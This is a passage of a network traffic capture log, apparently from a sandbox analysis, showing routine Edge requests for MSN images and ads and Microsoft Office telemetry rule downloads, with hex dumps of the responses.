2024-10-31 02:04:34 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49891	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=256649 Expires: Sun, 03 Nov 2024 01:22:03 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
2024-10-31 02:04:34 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49894	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=282539 Expires: Sun, 03 Nov 2024 08:33:33 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
2024-10-31 02:04:34 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49892	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=419150 Expires: Mon, 04 Nov 2024 22:30:24 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
2024-10-31 02:04:34 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49893	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	518	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=89860 Expires: Fri, 01 Nov 2024 03:02:14 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
2024-10-31 02:04:34 UTC	15866	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-31 02:04:34 UTC	16384	IN	Data Raw: 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 3a Data Ascii: "/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG:
2024-10-31 02:04:34 UTC	2019	IN	Data Raw: b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d e3 Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-31 02:04:34 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49887	20.1.248.118	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3CD7EF6E4E356EB83574FA474F626FE4&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=bdced2bc9be844e4cb270db5ff5854da HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
2024-10-31 02:04:34 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 31 Oct 2024 02:04:33 GMT Connection: close
2024-10-31 02:04:34 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020434Z-15b8d89586fzhrwgk23ex2bvhw0000000bx0000000007gvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 3b13a0aa-201e-003f-7a6e-2a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020434Z-17c5cb586f6hn8cl90dxzu28kw000000096g000000002dvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49901	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:35 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Sat, 12 Oct 2024 10:59:46 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: d219a7ff-35f2-4f3b-afb3-53b948cb8cbc Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ8 X-Source-Length: 83046 Content-Length: 83046 Cache-Control: public, max-age=377946 Expires: Mon, 04 Nov 2024 11:03:41 GMT Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close
2024-10-31 02:04:35 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 